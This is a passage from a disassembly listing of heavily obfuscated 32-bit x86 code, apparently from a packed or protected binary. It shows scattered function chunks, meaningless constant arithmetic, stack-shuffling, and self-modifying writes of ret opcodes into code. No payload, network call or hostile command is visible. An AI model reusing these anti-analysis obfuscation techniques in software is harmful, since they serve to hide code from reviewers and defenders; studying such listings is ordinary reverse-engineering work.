BYTES: COLLAPSED FUNCTION nullsub_164. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44633F loc_44ACFA: ; CODE XREF: sub_44633F-4B74j jmp sub_43A148 ; END OF FUNCTION CHUNK FOR sub_44633F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BEF7 loc_44ACFF: ; CODE XREF: sub_43BEF7+10844j jns loc_447E52 rol ebx, 9 loc_44AD08: ; CODE XREF: sub_43BEF7:loc_439247j mov eax, [ebp-18h] add eax, 0F1D5D62Ah add eax, 0E2A29FAh jmp loc_447C63 ; END OF FUNCTION CHUNK FOR sub_43BEF7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7B5 loc_44AD1C: ; CODE XREF: sub_43B7B5:loc_43E004j sub eax, 0DA75D391h jmp loc_44CBDB ; END OF FUNCTION CHUNK FOR sub_43B7B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A735 loc_44AD27: ; CODE XREF: sub_43A735:loc_438D59j sub eax, 3E32BC7Dh xor eax, 0F93D8841h cmp eax, 37AD12D8h jmp loc_43D2A5 ; END OF FUNCTION CHUNK FOR sub_43A735 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44633F loc_44AD3E: ; CODE XREF: sub_44633F-7495j adc edi, 2FA1937Ah ; END OF FUNCTION CHUNK FOR sub_44633F ; START OF FUNCTION CHUNK FOR sub_43E86C loc_44AD44: ; CODE XREF: sub_43E86C:loc_44B25Aj jmp loc_4422D0 ; END OF FUNCTION CHUNK FOR sub_43E86C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44633F loc_44AD49: ; CODE XREF: sub_44633F:loc_445801j push edx push 766D4DD0h pop edx and edx, 0EF399566h jmp loc_43DEB4 ; END OF FUNCTION CHUNK FOR sub_44633F ; --------------------------------------------------------------------------- loc_44AD5B: ; CODE XREF: y22d6.y.:00443D88j xchg ebx, [esp] mov ecx, ebx pop ebx or ecx, 0FD2ED8CCh add ecx, 3890FFF0h jmp loc_44327D ; --------------------------------------------------------------------------- loc_44AD72: ; DATA XREF: y22d6.y.:00443929o mov byte ptr [eax], 0C3h jmp loc_44DC02 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44D3B1 loc_44AD7A: ; CODE XREF: sub_44D3B1+1j mov eax, [esp+0] push edx push edi jmp loc_44091E ; END OF FUNCTION CHUNK FOR sub_44D3B1 ; --------------------------------------------------------------------------- loc_44AD84: ; CODE XREF: y22d6.y.:loc_44B590j pop eax or ebx, 85503606h and ebx, 3937F99Ch add ebx, 0C7125A4Fh xchg ebx, [esp] jmp nullsub_340 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_446F34 loc_44AD9F: ; CODE XREF: sub_446F34:loc_43E384j mov [edi], eax pop edi lea eax, loc_44ABF4 mov byte ptr [eax], 0C3h jmp loc_44658E ; --------------------------------------------------------------------------- loc_44ADB0: ; CODE XREF: sub_446F34:loc_44ABF4j pop edx jmp loc_43EF62 ; END OF FUNCTION CHUNK FOR sub_446F34 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_344. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- pop esp mov dh, 0D6h stosb pop eax xor eax, 35336F2Bh sub eax, 51FCDBE2h test eax, 1 jmp loc_43BED3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BEF7 loc_44ADD3: ; CODE XREF: sub_43BEF7+21j jg loc_4409B9 loc_44ADD9: ; CODE XREF: sub_43BEF7:loc_43BF0Cj and ecx, 0D1DEDE13h add ecx, 7E4F8D9Bh rol ecx, 1Bh add ecx, 46C43A6Bh xor eax, ecx pop ecx jmp loc_4426B0 ; END OF FUNCTION CHUNK FOR sub_43BEF7 ; --------------------------------------------------------------------------- mov ds:off_41E0BC, eax lea eax, sub_44D73B mov byte ptr [eax], 0C3h jmp sub_44D73B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44AE0A: ; CODE XREF: sub_448EB6:loc_43EE10j mov eax, [esp-8+arg_4] push eax mov eax, edx jmp loc_4484AD ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- loc_44AE15: ; DATA XREF: sub_445A15-9E4Fo ror eax, 1Bh add eax, 73BBA472h ror eax, 2 mov edx, [esp] push eax mov eax, edx call sub_44C758 mov eax, [esp] jmp loc_445B76 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_44AE34: ; CODE XREF: sub_44271A-730Bj pop esi xchg eax, [esp+0] mov ecx, eax pop eax pop ebp jmp loc_43BCED ; END OF FUNCTION CHUNK FOR sub_44271A ; --------------------------------------------------------------------------- push ebx push 0E0B0B2ACh pop ebx rol ebx, 1Eh and ebx, 93CEB3B6h push offset loc_4483EE jmp loc_43764D ; --------------------------------------------------------------------------- xor ebx, edx sbb edi, ebx jmp sub_43C3DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449C1B loc_44AE64: ; CODE XREF: sub_449C1B:loc_43B152j jnz loc_44E3ED jmp loc_44E49A ; END OF FUNCTION CHUNK FOR sub_449C1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AA69 loc_44AE6F: ; CODE XREF: sub_44AA69:loc_44D42Cj push offset loc_43CA8A loc_44AE74: ; CODE XREF: y22d6.y.:loc_43C4C8j jmp loc_44AA87 ; END OF FUNCTION CHUNK FOR sub_44AA69 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43AD2F loc_44AE79: ; CODE XREF: sub_43AD2F+5027j xor eax, 0F5F238F9h or eax, 9E5CA79Bh add eax, 61C558A5h mov eax, [eax] or eax, eax jnz loc_449B53 jmp loc_44940F ; END OF FUNCTION CHUNK FOR sub_43AD2F ; --------------------------------------------------------------------------- locret_44AE9A: ; CODE XREF: y22d6.y.:004472A5j retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43FFE2 loc_44AE9B: ; CODE XREF: sub_43FFE2-17F4j jmp loc_4439B5 ; END OF FUNCTION CHUNK FOR sub_43FFE2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E185 loc_44AEA0: ; CODE XREF: sub_43E185-2EE6j jmp nullsub_178 ; END OF FUNCTION CHUNK FOR sub_43E185 ; =============== S U B R O U T I N E ======================================= sub_44AEA5 proc near ; CODE XREF: sub_43A148+768Cp ; y22d6.y.:00448D2Bj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004486C6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044CF48 SIZE 00000017 BYTES xchg edx, [esp+0] pop edx push ebx push 358A9CBCh xchg ebp, [esp+4+var_4] jmp loc_4486C6 sub_44AEA5 endp ; --------------------------------------------------------------------------- push offset sub_44E05B jmp locret_449C6C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440395 loc_44AEC1: ; CODE XREF: sub_440395:loc_44C481j jz loc_445740 jmp loc_442C7D ; END OF FUNCTION CHUNK FOR sub_440395 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441619 loc_44AECC: ; CODE XREF: sub_441619+390Dj lea eax, sub_440CE6 mov byte ptr [eax], 0C3h jmp loc_447EAA ; END OF FUNCTION CHUNK FOR sub_441619 ; =============== S U B R O U T I N E ======================================= sub_44AEDA proc near ; CODE XREF: sub_40158F+16Cp ; y22d6.y.:004475C1j ; DATA XREF: ... arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00437A44 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00437EFB SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00438BCA SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00438E93 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043974C SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00439842 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00439D12 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043A4D6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043A640 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0043BB66 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043C098 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043CBCE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043CE99 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043DBFE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043DFDD SIZE 00000021 BYTES ; FUNCTION CHUNK AT 0043E9AF SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0043F041 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043FCEF SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043FE8E SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00440FF5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00441999 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00441B85 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044219A SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00442894 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00443693 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 004440D8 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 004446F0 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00445EF8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00447388 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 004476C8 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00447777 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0044871F SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00449915 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044AB6F SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0044B3A4 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0044BF3B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0044C8A8 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044CE57 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0044D574 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044DDA0 SIZE 00000023 BYTES push esi push 4DD1C537h add esi, 8D312D07h jmp loc_437EFB sub_44AEDA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43837F loc_44AEEB: ; CODE XREF: sub_43837F+27E1j mov [ebp-1Ch], eax jo loc_43B311 inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] jmp loc_43C41B ; END OF FUNCTION CHUNK FOR sub_43837F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4475B3 loc_44AEFF: ; CODE XREF: sub_4475B3-7136j mov eax, 64A3F24h call sub_444581 push offset loc_4386BE jmp nullsub_260 ; END OF FUNCTION CHUNK FOR sub_4475B3 ; --------------------------------------------------------------------------- or ecx, eax test ecx, ebx jmp loc_43A1B6 ; --------------------------------------------------------------------------- cmp eax, esi jmp loc_43FF15 ; --------------------------------------------------------------------------- loc_44AF23: ; DATA XREF: y22d6.y.:0044E6ACo push 8C763B41h pop edi or edi, 2D9D740Ah and edi, 3E30192Ch or edi, 29F0147h xor edi, 4F977E69h jmp loc_43F2E0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441F08 loc_44AF46: ; CODE XREF: sub_441F08-9EDDj or ebx, 0E1BB583Fh jns loc_43A8B4 rol ecx, 18h jo loc_43AEBD loc_44AF5B: ; CODE XREF: sub_441F08-9EE9j xor eax, 0D71AA0FBh jmp loc_444F65 ; END OF FUNCTION CHUNK FOR sub_441F08 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4385ED loc_44AF66: ; CODE XREF: sub_4385ED:loc_43E8F5j add esp, 8 mov eax, [eax] add eax, [ebp-4] call sub_4385ED mov eax, 26F528F2h push esi call sub_446F1F loc_44AF7E: ; CODE XREF: sub_442E1F-5FDCj jmp loc_440E64 ; END OF FUNCTION CHUNK FOR sub_4385ED ; --------------------------------------------------------------------------- loc_44AF83: ; CODE XREF: y22d6.y.:00440591j jnz loc_443AE2 jnb loc_44840F jmp sub_4481BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C5EE loc_44AF94: ; CODE XREF: sub_43C5EE:loc_44D4BCj rol ecx, 15h call sub_44DB3E ; END OF FUNCTION CHUNK FOR sub_43C5EE ; START OF FUNCTION CHUNK FOR sub_43CC1A loc_44AF9C: ; CODE XREF: sub_43CC1A+7283j jmp sub_44B003 ; END OF FUNCTION CHUNK FOR sub_43CC1A ; =============== S U B R O U T I N E ======================================= sub_44AFA1 proc near ; CODE XREF: sub_44845Aj ; DATA XREF: sub_44928B-E3Bo ; FUNCTION CHUNK AT 00438993 SIZE 00000005 BYTES push 0DA962C1Eh pop esi add esi, 8D303404h sub esi, 465BF717h loc_44AFB3: ; CODE XREF: y22d6.y.:00445522j add esi, 5963EA4Fh xor esi, 83D8299Ch push offset loc_439CCA jmp loc_438993 sub_44AFA1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4450FD loc_44AFC9: ; CODE XREF: sub_4450FD:loc_442D60j test eax, 51608DA5h jmp loc_44C0C3 ; END OF FUNCTION CHUNK FOR sub_4450FD ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_199. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_44AFD5: ; CODE XREF: y22d6.y.:0043FEF8j jmp loc_44D65D ; --------------------------------------------------------------------------- locret_44AFDA: ; CODE XREF: y22d6.y.:0044A73Ej retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44066C loc_44AFDB: ; CODE XREF: sub_44066C+C4FCj jmp loc_4470DC ; END OF FUNCTION CHUNK FOR sub_44066C ; --------------------------------------------------------------------------- loc_44AFE0: ; CODE XREF: y22d6.y.:00439123j test ebp, ecx jmp loc_443E56 ; --------------------------------------------------------------------------- loc_44AFE7: ; DATA XREF: sub_4392B0:loc_44C7A8o sub al, 99h mov edx, ds:dword_441954 imul byte ptr [edx] cmp al, 0A4h jnz loc_44A30C jmp loc_442B4A ; --------------------------------------------------------------------------- jmp loc_44A30C ; =============== S U B R O U T I N E ======================================= sub_44B003 proc near ; CODE XREF: sub_43FFE2-72B2p ; sub_443EF1p ... mov edx, 1 lock xchg edx, [eax] jmp loc_43E482 sub_44B003 endp ; --------------------------------------------------------------------------- loc_44B010: ; CODE XREF: y22d6.y.:00441CB9j popf ; =============== S U B R O U T I N E ======================================= sub_44B011 proc near ; CODE XREF: sub_43E185:loc_43858Ap arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0043B6B7 SIZE 00000005 BYTES xchg eax, [esp+0] pop eax add ebx, 5DFCE803h mov [ebx], eax xchg edi, [esp-4+arg_0] jmp loc_43B6B7 sub_44B011 endp ; sp-analysis failed ; --------------------------------------------------------------------------- call sub_44A9DF or eax, eax jnz loc_448EAC jmp loc_43BE14 ; --------------------------------------------------------------------------- loc_44B037: ; CODE XREF: y22d6.y.:00442EB5j jno loc_4395D7 and eax, 7E1207B5h jmp sub_4382FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44B048: ; CODE XREF: sub_448EB6:loc_43ADFFj ; sub_448EB6-3B59j or ecx, 7D1D80BBh xor ecx, 10FE5BC3h add ecx, 12E0EB09h xchg ecx, [esp-8+arg_4] jmp loc_44E27B ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4481EF loc_44B062: ; CODE XREF: sub_44B489-EF39j ; sub_44B489:loc_442763j ... jmp loc_43A9F4 ; --------------------------------------------------------------------------- loc_44B067: ; CODE XREF: sub_44B489-12C4Ej ; sub_4481EF+8AAj pop ecx pop ebp retn ; END OF FUNCTION CHUNK FOR sub_4481EF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43923C loc_44B06A: ; CODE XREF: sub_43923C+F875j jmp loc_43C607 ; END OF FUNCTION CHUNK FOR sub_43923C ; =============== S U B R O U T I N E ======================================= sub_44B06F proc near ; CODE XREF: sub_439F2D-2F2Aj ; y22d6.y.:loc_4395FAp ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043731D SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D082 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F82A SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00447E47 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044DFF3 SIZE 00000026 BYTES push ebp jmp loc_447E47 sub_44B06F endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A0A7 loc_44B075: ; CODE XREF: sub_44A0A7:loc_44E23Dj xchg edi, [esp+0] jmp loc_440C8C ; END OF FUNCTION CHUNK FOR sub_44A0A7 ; --------------------------------------------------------------------------- loc_44B07D: ; CODE XREF: y22d6.y.:0043AF3Cj shl edi, 12h ; =============== S U B R O U T I N E ======================================= sub_44B080 proc near ; CODE XREF: y22d6.y.:00445B86p arg_0 = dword ptr 4 xchg eax, [esp+0] pop eax xchg edi, [esp-4+arg_0] jmp sub_4480DE sub_44B080 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BCA9 loc_44B08C: ; CODE XREF: sub_43BCA9:loc_437AFCj xchg eax, [esp+0] jmp loc_43FE6B ; END OF FUNCTION CHUNK FOR sub_43BCA9 ; --------------------------------------------------------------------------- loc_44B094: ; CODE XREF: y22d6.y.:00437A04j push 3BB5AB94h pop ebx rol ebx, 1Ah add ebx, 0AF55367Eh xchg ebx, [esp] jmp sub_438E86 ; --------------------------------------------------------------------------- loc_44B0AB: ; DATA XREF: sub_441CF9o push edx push 0FB8B5EDBh xchg eax, [esp] mov edx, eax pop eax jmp loc_449244 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E81B loc_44B0BC: ; CODE XREF: sub_43E81B+AF8Fj jnz loc_44E039 jmp loc_44C153 ; END OF FUNCTION CHUNK FOR sub_43E81B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438A6F loc_44B0C7: ; CODE XREF: sub_438A6F+14B56j mov eax, [eax] push ebx push 6AC7F09Dh pop ebx ; END OF FUNCTION CHUNK FOR sub_438A6F ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_44B0D0: ; CODE XREF: sub_4432B8:loc_43A523j and ebx, 889CBBD7h call sub_439175 loc_44B0DB: ; CODE XREF: sub_445791:loc_4487E4j push offset loc_43985A jmp loc_44A789 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; =============== S U B R O U T I N E ======================================= sub_44B0E5 proc near ; CODE XREF: y22d6.y.:loc_43B7CCj ; DATA XREF: sub_44CB3F-8415o jz loc_447463 push ebp mov eax, [ebp-20h] call sub_4380CD push offset sub_4427BB jmp nullsub_223 sub_44B0E5 endp ; --------------------------------------------------------------------------- add edx, ebp sbb edi, edx jmp sub_44A9F2 ; --------------------------------------------------------------------------- loc_44B107: ; CODE XREF: y22d6.y.:0043F647j or ebx, ebp ; START OF FUNCTION CHUNK FOR sub_43A6E1 loc_44B109: ; CODE XREF: y22d6.y.:loc_43F63Fj ; sub_43A6E1+8A03j rol esi, 8 or esi, 26D377FDh add esi, 506C1318h xchg esi, [esp+0] jmp loc_43FA2A ; END OF FUNCTION CHUNK FOR sub_43A6E1 ; =============== S U B R O U T I N E ======================================= sub_44B120 proc near ; DATA XREF: sub_4432B8+1D5Fo var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0044CA6B SIZE 00000005 BYTES push eax push 76CEF227h pop eax add eax, 6F7182Eh or eax, 0E74400F7h rol eax, 0Ah add eax, 0E818C845h xchg eax, [esp+4+var_4] jmp loc_44CA6B sub_44B120 endp ; =============== S U B R O U T I N E ======================================= sub_44B144 proc near ; CODE XREF: sub_43DD78+Ap ; y22d6.y.:004438A3j xchg eax, [esp+0] pop eax lea eax, loc_43B157 mov byte ptr [eax], 0C3h jmp loc_43B157 sub_44B144 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_445382 loc_44B156: ; CODE XREF: sub_445382+Bj push offset sub_44649D jmp loc_43A2D7 ; END OF FUNCTION CHUNK FOR sub_445382 ; --------------------------------------------------------------------------- and eax, edx jnz loc_43A1A5 xor ebx, ebp jmp loc_43ED1F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_163. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_44B170: ; CODE XREF: y22d6.y.:004489A3j jmp loc_446541 ; --------------------------------------------------------------------------- cdq jmp loc_44D7DA ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44B17B proc near ; CODE XREF: sub_447CBE:loc_438515p ; sub_4398FF+90B5j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004370F7 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00438436 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004389A7 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 00438DC6 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0043914E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004393D1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043978D SIZE 00000007 BYTES ; FUNCTION CHUNK AT 004398B3 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043A22B SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0043A554 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B0B6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B1E4 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0043BA8F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043BDE7 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043C4B6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043CE6E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0043D5C5 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043D732 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0043D7EA SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043E637 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043EDF6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043EF13 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0043F399 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 004400D0 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044064A SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00440A1D SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00440A43 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00440C6D SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00440F58 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004411D8 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00441870 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00442058 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00443085 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00443788 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00444318 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004470F1 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00447130 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00448368 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 004483DB SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0044882B SIZE 00000019 BYTES ; FUNCTION CHUNK AT 004488C3 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00449587 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0044A4D4 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0044A88A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044A8C3 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0044A95C SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0044B30C SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0044B7BB SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0044BD96 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044CBD0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044D797 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0044E20F SIZE 00000007 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF8h push ebx push edx jmp loc_44064A sub_44B17B endp ; sp-analysis failed ; --------------------------------------------------------------------------- or eax, edx jmp sub_44BEA6 ; --------------------------------------------------------------------------- mov [ecx], esi jmp loc_44607C ; =============== S U B R O U T I N E ======================================= sub_44B196 proc near ; CODE XREF: sub_438F66+3j ; FUNCTION CHUNK AT 00437C38 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0044782E SIZE 00000013 BYTES add esp, 0FFFFFFF8h mov [ebp-4], eax loc_44B19C: ; CODE XREF: sub_444D95:loc_44D427j jz loc_44782E mov eax, [ebp-4] movzx eax, byte ptr [eax] cmp ds:dword_4465AC[eax*4], 0 call sub_444D95 locret_44B1B5: ; CODE XREF: sub_4482CF:loc_4415DCj retn sub_44B196 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439FCB loc_44B1B6: ; CODE XREF: sub_439FCB+16j jmp loc_444C1E ; END OF FUNCTION CHUNK FOR sub_439FCB ; --------------------------------------------------------------------------- loc_44B1BB: ; CODE XREF: y22d6.y.:0044D620j shr eax, 19h ; START OF FUNCTION CHUNK FOR sub_43B252 loc_44B1BE: ; CODE XREF: sub_43B252:loc_44D60Fj and eax, 0A0BBABECh rol eax, 11h test eax, 1000h jmp loc_439B02 ; END OF FUNCTION CHUNK FOR sub_43B252 ; =============== S U B R O U T I N E ======================================= sub_44B1D2 proc near ; CODE XREF: sub_44057E-2EF7p ; y22d6.y.:0044080Aj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00437580 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00437753 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00437A67 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00437CF6 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0043A06D SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0043A2B0 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043A749 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043AE2F SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0043B59F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B6C7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043B730 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043B8F8 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0043BCB4 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043BD99 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0043C21A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043C7AF SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D26E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D524 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0043FBAB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00440753 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0044106E SIZE 0000001C BYTES ; FUNCTION CHUNK AT 00443163 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 004436D1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044407C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00444354 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00446E91 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00446F66 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004473C1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044770A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00447B8D SIZE 00000025 BYTES ; FUNCTION CHUNK AT 00447FF0 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0044811F SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00449554 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00449904 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044A045 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0044A6BA SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0044B85B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044C867 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0044D155 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0044E112 SIZE 00000008 BYTES xchg esi, [esp+0] pop esi mov eax, [ebp-4] mov eax, [eax+4] test eax, eax jle loc_43AD8B jmp loc_4436D1 sub_44B1D2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44B1E9: ; CODE XREF: sub_448EB6:loc_43A2E1j jns loc_44B47D add ecx, 746504B3h jmp loc_446563 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- loc_44B1FA: ; CODE XREF: y22d6.y.:0043B5F3j sub eax, 6D5A2941h test eax, 2 jmp loc_43F7EB ; --------------------------------------------------------------------------- locret_44B20B: ; CODE XREF: y22d6.y.:00442539j retn ; 